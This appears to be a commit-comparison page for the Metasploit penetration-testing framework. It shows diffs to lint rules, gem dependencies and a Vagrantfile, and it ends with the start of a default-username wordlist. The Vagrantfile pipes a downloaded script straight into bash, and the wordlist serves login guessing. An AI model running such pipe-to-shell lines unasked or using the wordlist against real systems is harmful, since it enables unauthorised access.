Compare commits
325 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 47f4f2d981 | |||
| 1f96d3b42f | |||
| 6e6bb0a838 | |||
| a3e821114a | |||
| 5e1e6e6ab6 | |||
| 0b271f3a0e | |||
| def73fb665 | |||
| 0e163c69ab | |||
| 09b1fddbd7 | |||
| a542ce01a1 | |||
| 541f055428 | |||
| 1d5e274deb | |||
| f8752b8e48 | |||
| bd4d3f63e4 | |||
| 7c54066b0e | |||
| 03f31f187b | |||
| b148e9da30 | |||
| d07fc7f6ee | |||
| b19ed20d0a | |||
| a10f51e1f9 | |||
| e77ae2256b | |||
| 96ae2cf9a2 | |||
| fe8cd52c9d | |||
| 66acec6a57 | |||
| b85cd9b682 | |||
| c75780350e | |||
| e5f2b48274 | |||
| 8b778bffc0 | |||
| 3a046f01da | |||
| bfd284b349 | |||
| acc7dd153a | |||
| 3b5c6b06a2 | |||
| 9840951f0d | |||
| 87b8182131 | |||
| 56a9b9b637 | |||
| b0bcfc071b | |||
| 8f8ee8947d | |||
| 53de5cc543 | |||
| bbd82865d6 | |||
| 21f4c77787 | |||
| 349051531a | |||
| eb3cf2fd02 | |||
| eb90bee4a7 | |||
| 40cc170578 | |||
| e83dd2b811 | |||
| 2790b72384 | |||
| 4fe7678b01 | |||
| c7ca43b585 | |||
| 8d6468e725 | |||
| 630add538f | |||
| 858adb4540 | |||
| a5db685a83 | |||
| 513338c2e5 | |||
| 5698f6e51f | |||
| 65c2b68319 | |||
| 633899402c | |||
| a15c981246 | |||
| a87a1ae1b4 | |||
| 83132dd733 | |||
| 9f55e4163f | |||
| 3aeb6597a2 | |||
| dd12e65828 | |||
| 5ed87be78e | |||
| 607b7ae5ae | |||
| 7f6f7fea3e | |||
| 9f56867f6c | |||
| 865d15975b | |||
| 975eb742cb | |||
| 260aa0533a | |||
| c003b0d293 | |||
| 9be6b0a81e | |||
| 498d01aaa3 | |||
| fe1b85a873 | |||
| ba924b3047 | |||
| 4759f7d39d | |||
| 573b8302ec | |||
| a4feaec188 | |||
| b4cac0c414 | |||
| 29dcd0fd81 | |||
| cd6c01ae9d | |||
| fb00818cab | |||
| 5574eaa591 | |||
| f0630d7479 | |||
| 98a6147403 | |||
| 908ce3d36b | |||
| 8d0816fb37 | |||
| 12faf3fad5 | |||
| c16edad4e6 | |||
| 333b2e66d1 | |||
| cc24a572f5 | |||
| cc974e7f25 | |||
| 694f34cdd9 | |||
| 07cc7deae8 | |||
| 75ca930670 | |||
| 167f1027c4 | |||
| 8a1bb02e80 | |||
| c4b2288f52 | |||
| b3867dc200 | |||
| 26c529b101 | |||
| a2f2af7e97 | |||
| 7c70245807 | |||
| 67792666ef | |||
| 0fd15cb9c1 | |||
| 203b2486ae | |||
| 5e3cbaee66 | |||
| 196c354ede | |||
| 327917c015 | |||
| 889f91241a | |||
| dd35086e75 | |||
| 4bb4afcd75 | |||
| 91bcd76776 | |||
| e92b9ef97c | |||
| 078652749d | |||
| cc5df836a9 | |||
| cda9fd2a08 | |||
| 29608d13bf | |||
| f60f60db7f | |||
| 755a776a88 | |||
| 5ee7fcaf4a | |||
| 2c0ea83286 | |||
| a4ded39d62 | |||
| c9d9d3af29 | |||
| 0693f17170 | |||
| fc49df003d | |||
| 99ed3afab3 | |||
| ffd5a0b39d | |||
| 280d1767b4 | |||
| 3b1ead48fa | |||
| 22fe846b39 | |||
| 4cd52c5f32 | |||
| f3c6eeceac | |||
| 59aa854c5d | |||
| 8820944696 | |||
| e36db605a6 | |||
| 0292e5c282 | |||
| f2fead66f9 | |||
| 061d76ebed | |||
| b44415a1f6 | |||
| 1b949807c6 | |||
| 31754f71e4 | |||
| af9d2a28de | |||
| 908bdaa5f9 | |||
| 40d068ca8c | |||
| ff8bb2e16f | |||
| ae28463ec6 | |||
| 7d6906b225 | |||
| d5bdfe7253 | |||
| f7a772902b | |||
| d26e281787 | |||
| 89bea26763 | |||
| 353f4281bd | |||
| 664e235e0b | |||
| 071b9598a4 | |||
| 6bac1ec2aa | |||
| 094fe9c134 | |||
| fdf0447ecf | |||
| 5c94910998 | |||
| 8190ce7644 | |||
| 6f8d7726ea | |||
| cfd9b12a13 | |||
| fc1f4936ac | |||
| d231c17af8 | |||
| ec828d3be2 | |||
| e5fc41a22f | |||
| a4c97a0a09 | |||
| 320de0ffbf | |||
| 00df264bc9 | |||
| 6f33c9ad99 | |||
| 70927f1db1 | |||
| cff41a6e1c | |||
| b8e19959e0 | |||
| ff9dad2b28 | |||
| 43fd35964c | |||
| f59ec03c42 | |||
| ef8ec13c88 | |||
| 15a4fc7499 | |||
| aac4774551 | |||
| 0da64cd699 | |||
| 5a58fbb0e5 | |||
| d102f3e48f | |||
| adaa9e239a | |||
| 3ab407d947 | |||
| bb7ed355f0 | |||
| 6a07160bd5 | |||
| 011ed3602c | |||
| 7aa89c9d4e | |||
| 8a5db82224 | |||
| 957b2f2163 | |||
| 0b133d28a2 | |||
| c23a4b195e | |||
| b6bd7031f8 | |||
| 7f36cfec84 | |||
| 578bf9999f | |||
| fda8b6df3c | |||
| 83e06ab59e | |||
| 0a1313f183 | |||
| 8a59b8cb1c | |||
| eb60fa1de1 | |||
| 3d388fff0c | |||
| b5be9402b1 | |||
| 2db93c9051 | |||
| 5b0eab476a | |||
| f9077bcd8d | |||
| 5e4b83581a | |||
| 00638f2e41 | |||
| fe0e955dc2 | |||
| f451041d4b | |||
| 9ef6110b54 | |||
| ae6b3d0bf6 | |||
| c9e4ca34c3 | |||
| 57ddd4b37c | |||
| 564895e1a8 | |||
| e4456c9006 | |||
| f483b80849 | |||
| 695f6869df | |||
| f90d605c21 | |||
| 1fe1506b42 | |||
| f6e4b52446 | |||
| c1b2762b03 | |||
| c309e2325f | |||
| de6306fa35 | |||
| f780d94ec6 | |||
| 9c69059a24 | |||
| 962e39148f | |||
| 8425000ff3 | |||
| 73d2b2cf2c | |||
| c2f13d906b | |||
| 1aa412ccc0 | |||
| f44f200f49 | |||
| 9980a96917 | |||
| 0d0bd865c8 | |||
| 4288632203 | |||
| 7dc1315dac | |||
| 89dc1aebf8 | |||
| 028285de77 | |||
| 0d8a86905a | |||
| 5497876fd2 | |||
| 9c987b8271 | |||
| e5befa676f | |||
| 57ef3d9ec6 | |||
| 28e9bc5d14 | |||
| 4de546fa6a | |||
| 0459e05420 | |||
| cfd41c49ec | |||
| 1b54d27301 | |||
| 828d974db5 | |||
| 0e9c637364 | |||
| 226f4b0a53 | |||
| 3a89bef6c4 | |||
| 9193ace50b | |||
| 351c0d1651 | |||
| e315e207f1 | |||
| d95391b7f4 | |||
| 55d5e55c5e | |||
| 4b92403bba | |||
| 5420007dff | |||
| f6343f35aa | |||
| bb4007747b | |||
| 35dac6ea5f | |||
| 59ed3e5948 | |||
| 2efc381115 | |||
| 6fa086a0ab | |||
| bbbb9565a4 | |||
| d644f2d9c7 | |||
| 0aca3f0712 | |||
| 137fee2570 | |||
| d6c3e4ad56 | |||
| 94287c94ff | |||
| f61c188e57 | |||
| fce70c9284 | |||
| 6d73b572c7 | |||
| 9e46926a0f | |||
| 785dbb6ba3 | |||
| 9c30250161 | |||
| 25d863d912 | |||
| 91add39ceb | |||
| 65951dd97b | |||
| deb7f4ce14 | |||
| 92d2c8f974 | |||
| 0d36c99151 | |||
| abf56ae748 | |||
| 2360b0e2ff | |||
| 20386f1aa4 | |||
| cca3184b36 | |||
| a89d9cd188 | |||
| 1072694130 | |||
| 4f94593264 | |||
| 3dd68849c5 | |||
| ca70cc2d27 | |||
| 483c36e54d | |||
| 551ddc0ce3 | |||
| dab4291016 | |||
| 32dafcc9f6 | |||
| 4e75f1862a | |||
| 7cb3ca96e1 | |||
| 34d77e8b11 | |||
| daaa8cf857 | |||
| 9e66afe3e7 | |||
| 299fca4e98 | |||
| 65e2637e29 | |||
| 3be3a398ae | |||
| 548abf4364 | |||
| 44636f4975 | |||
| 7730c5359d | |||
| 0e076d286e | |||
| f94726a794 | |||
| 02a87befc3 | |||
| 46d759eca9 | |||
| 4ef54518ed | |||
| 04dd5162cf | |||
| a5a3e28984 | |||
| b941a1a823 | |||
| bc4f706b0d | |||
| 21dd5f438d | |||
| e091c8f248 | |||
| 8833bddd91 | |||
| f874f50748 | |||
| d00d5fbff9 | |||
| 3870dad3d1 | |||
| 510b2f5aac | |||
| d1eaac9932 | |||
| c339662fed | |||
| dd5814654c | |||
| f0b24339fe | |||
| 8549f416f8 |
+68
-21
@@ -11,6 +11,16 @@
|
||||
AllCops:
|
||||
TargetRubyVersion: 2.4
|
||||
|
||||
require:
|
||||
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
|
||||
- ./lib/rubocop/cop/layout/module_description_indentation.rb
|
||||
|
||||
Layout/ModuleHashOnNewLine:
|
||||
Enabled: true
|
||||
|
||||
Layout/ModuleDescriptionIndentation:
|
||||
Enabled: true
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
@@ -59,6 +69,25 @@ Style/Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Layout/FirstArgumentIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/ArgumentAlignment:
|
||||
Enabled: true
|
||||
EnforcedStyle: with_first_argument
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementLineBreak:
|
||||
Enabled: true
|
||||
Description: 'Enforce consistency by breaking hash elements on to new lines'
|
||||
|
||||
Layout/SpaceInsideArrayLiteralBrackets:
|
||||
Enabled: false
|
||||
Description: 'Almost all module metadata have space in brackets'
|
||||
@@ -93,26 +122,26 @@ Style/TrailingCommaInArrayLiteral:
|
||||
|
||||
Metrics/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Naming/MethodParameterName:
|
||||
Naming/MethodParameterName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
@@ -126,13 +155,10 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/HashAlignment:
|
||||
Enabled: false
|
||||
Description: 'aligning info hashes to match these rules is almost impossible to get right'
|
||||
|
||||
Layout/EmptyLines:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
Layout/FirstArrayElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful to force values within the register_options array to have sane indentation'
|
||||
|
||||
Layout/EmptyLinesAroundClassBody:
|
||||
Enabled: false
|
||||
@@ -142,19 +168,24 @@ Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/ParameterAlignment:
|
||||
Layout/ExtraSpacing:
|
||||
Description: 'Do not use unnecessary spacing.'
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
# When true, allows most uses of extra spacing if the intent is to align
|
||||
# things with the previous or next line, not counting empty lines or comment
|
||||
# lines.
|
||||
AllowForAlignment: false
|
||||
# When true, allows things like 'obj.meth(arg) # comment',
|
||||
# rather than insisting on 'obj.meth(arg) # comment'.
|
||||
# If done for alignment, either this OR AllowForAlignment will allow it.
|
||||
AllowBeforeTrailingComments: false
|
||||
# When true, forces the alignment of `=` in assignments on consecutive lines.
|
||||
ForceEqualSignAlignment: false
|
||||
|
||||
Style/For:
|
||||
Enabled: false
|
||||
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
@@ -163,6 +194,22 @@ Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/PercentLiteralDelimiters:
|
||||
Description: 'Use `%`-literal delimiters consistently.'
|
||||
Enabled: true
|
||||
# Specify the default preferred delimiter for all types with the 'default' key
|
||||
# Override individual delimiters (even with default specified) by specifying
|
||||
# an individual key
|
||||
PreferredDelimiters:
|
||||
default: ()
|
||||
'%i': '[]'
|
||||
'%I': '[]'
|
||||
'%r': '{}'
|
||||
'%w': '[]'
|
||||
'%W': '[]'
|
||||
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
|
||||
VersionChanged: '0.48.1'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
@@ -8,7 +8,7 @@ gem 'sqlite3', '~>1.3.0'
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
gem 'simplecov'
|
||||
gem 'simplecov', '0.18.2'
|
||||
end
|
||||
|
||||
group :development do
|
||||
@@ -17,7 +17,7 @@ group :development do
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry'
|
||||
gem 'pry-byebug'
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
@@ -36,6 +36,7 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'rubocop'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
|
||||
+42
-16
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.76)
|
||||
metasploit-framework (5.0.80)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -20,15 +20,16 @@ PATH
|
||||
faraday (<= 0.17.0)
|
||||
faye-websocket
|
||||
filesize
|
||||
hrr_rb_ssh (= 0.3.0.pre2)
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern (~> 2.0.0)
|
||||
metasploit-credential (~> 3.0.0)
|
||||
metasploit-model (~> 2.0.4)
|
||||
metasploit-payloads (= 1.3.84)
|
||||
metasploit-payloads (= 1.3.86)
|
||||
metasploit_data_models (~> 3.0.10)
|
||||
metasploit_payloads-mettle (= 0.5.16)
|
||||
metasploit_payloads-mettle (= 0.5.19)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -116,14 +117,15 @@ GEM
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.11.0)
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
ast (2.4.0)
|
||||
aws-eventstream (1.0.3)
|
||||
aws-partitions (1.274.0)
|
||||
aws-partitions (1.279.0)
|
||||
aws-sdk-core (3.90.1)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.239.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.144.0)
|
||||
aws-sdk-ec2 (1.146.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.33.0)
|
||||
@@ -136,13 +138,14 @@ GEM
|
||||
aws-sdk-core (~> 3, >= 3.83.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.1.0)
|
||||
aws-sigv4 (1.1.1)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
bindata (2.4.4)
|
||||
bindata (2.4.6)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.1)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
@@ -178,9 +181,12 @@ GEM
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
hrr_rb_ssh (0.3.0.pre2)
|
||||
ed25519 (~> 1.2)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jaro_winkler (1.5.4)
|
||||
jmespath (1.4.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
@@ -207,7 +213,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.84)
|
||||
metasploit-payloads (1.3.86)
|
||||
metasploit_data_models (3.0.10)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -218,7 +224,7 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.5.16)
|
||||
metasploit_payloads-mettle (0.5.19)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.14.0)
|
||||
@@ -229,7 +235,7 @@ GEM
|
||||
net-ssh (5.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.8)
|
||||
nokogiri (1.10.9)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.16.0)
|
||||
faraday (>= 0.9)
|
||||
@@ -238,6 +244,9 @@ GEM
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.19.1)
|
||||
parser (2.7.0.2)
|
||||
ast (~> 2.4.0)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.4.0)
|
||||
@@ -255,6 +264,9 @@ GEM
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
pry-byebug (3.8.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.10)
|
||||
public_suffix (4.0.3)
|
||||
rack (1.6.13)
|
||||
rack-protection (1.5.5)
|
||||
@@ -274,9 +286,10 @@ GEM
|
||||
activesupport (= 4.2.11.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rainbow (3.0.0)
|
||||
rake (13.0.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.6)
|
||||
recog (2.3.7)
|
||||
nokogiri
|
||||
redcarpet (3.5.0)
|
||||
rex-arch (0.1.13)
|
||||
@@ -305,9 +318,10 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.86)
|
||||
rex-powershell (0.1.87)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.4)
|
||||
rex-text
|
||||
rex-registry (0.1.3)
|
||||
@@ -315,7 +329,7 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.21)
|
||||
rex-socket (0.1.22)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
@@ -325,6 +339,7 @@ GEM
|
||||
rex-text (0.2.24)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rexml (3.2.4)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.9.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
@@ -349,7 +364,16 @@ GEM
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.9.2)
|
||||
rubocop (0.80.0)
|
||||
jaro_winkler (~> 1.5.1)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 2.7.0.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
rexml
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 1.7)
|
||||
ruby-macho (2.2.0)
|
||||
ruby-progressbar (1.10.1)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.1.0)
|
||||
bindata
|
||||
@@ -363,7 +387,7 @@ GEM
|
||||
simplecov (0.18.2)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.12.0)
|
||||
simplecov-html (0.12.2)
|
||||
sinatra (1.4.8)
|
||||
rack (~> 1.5)
|
||||
rack-protection (~> 1.4)
|
||||
@@ -384,6 +408,7 @@ GEM
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2019.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (1.6.1)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
websocket-driver (0.7.1)
|
||||
@@ -404,12 +429,13 @@ DEPENDENCIES
|
||||
fivemat
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
pry-byebug
|
||||
rake
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
rubocop
|
||||
simplecov (= 0.18.2)
|
||||
sqlite3 (~> 1.3.0)
|
||||
swagger-blocks
|
||||
timecop
|
||||
|
||||
+19
-16
@@ -10,32 +10,33 @@ afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.11.0, MIT
|
||||
aws-eventstream, 1.0.3, "Apache 2.0"
|
||||
aws-partitions, 1.274.0, "Apache 2.0"
|
||||
aws-partitions, 1.279.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.90.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.144.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.146.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.33.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.29.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.60.2, "Apache 2.0"
|
||||
aws-sigv4, 1.1.0, "Apache 2.0"
|
||||
aws-sigv4, 1.1.1, "Apache 2.0"
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
bindata, 2.4.4, ruby
|
||||
bindata, 2.4.6, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
byebug, 11.1.1, "Simplified BSD"
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.3.1, MIT
|
||||
diff-lcs, 1.3, "Artistic-2.0, GPL-2.0+, MIT"
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.3, "Apache 2.0"
|
||||
docile, 1.3.2, MIT
|
||||
ed25519, 1.2.4, MIT
|
||||
em-http-request, 1.1.5, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
eventmachine, 1.2.7, "GPL-2.0, ruby"
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 5.1.1, MIT
|
||||
factory_bot_rails, 5.1.1, MIT
|
||||
faker, 2.2.1, MIT
|
||||
@@ -44,6 +45,7 @@ faye-websocket, 0.10.9, "Apache 2.0"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
|
||||
http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jmespath, 1.4.0, "Apache 2.0"
|
||||
@@ -53,11 +55,11 @@ loofah, 2.4.0, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.4, "New BSD"
|
||||
metasploit-framework, 5.0.76, "New BSD"
|
||||
metasploit-framework, 5.0.80, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.84, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 1.3.85, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.10, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
|
||||
metasploit_payloads-mettle, 0.5.19, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.14.0, MIT
|
||||
@@ -68,7 +70,7 @@ nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 5.2.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.8, MIT
|
||||
nokogiri, 1.10.9, MIT
|
||||
octokit, 4.16.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
@@ -80,6 +82,7 @@ pg, 0.21.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
pry-byebug, 3.8.0, MIT
|
||||
public_suffix, 4.0.3, MIT
|
||||
rack, 1.6.13, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
@@ -90,7 +93,7 @@ rails-html-sanitizer, 1.3.0, MIT
|
||||
railties, 4.2.11.1, MIT
|
||||
rake, 13.0.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.6, unknown
|
||||
recog, 2.3.7, unknown
|
||||
redcarpet, 3.5.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
@@ -101,11 +104,11 @@ rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.86, "New BSD"
|
||||
rex-powershell, 0.1.87, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.21, "New BSD"
|
||||
rex-socket, 0.1.22, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.24, "New BSD"
|
||||
@@ -124,8 +127,8 @@ ruby_smb, 1.1.0, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 2.2.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.0, MIT
|
||||
simplecov, 0.18.5, MIT
|
||||
simplecov-html, 0.12.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
@@ -135,7 +138,7 @@ thor, 1.0.1, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
tilt, 2.0.10, MIT
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.6.2.1, "GPL-2.0, GPL-3.0, Nonstandard"
|
||||
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.6, MIT
|
||||
tzinfo-data, 1.2019.3, MIT
|
||||
warden, 1.2.7, MIT
|
||||
|
||||
Vendored
+1
-1
@@ -28,7 +28,7 @@ Vagrant.configure(2) do |config|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -1,88 +1,131 @@
|
||||
|
||||
4Dgifts
|
||||
EZsetup
|
||||
OutOfBox
|
||||
ROOT
|
||||
abrt
|
||||
adm
|
||||
admin
|
||||
administrator
|
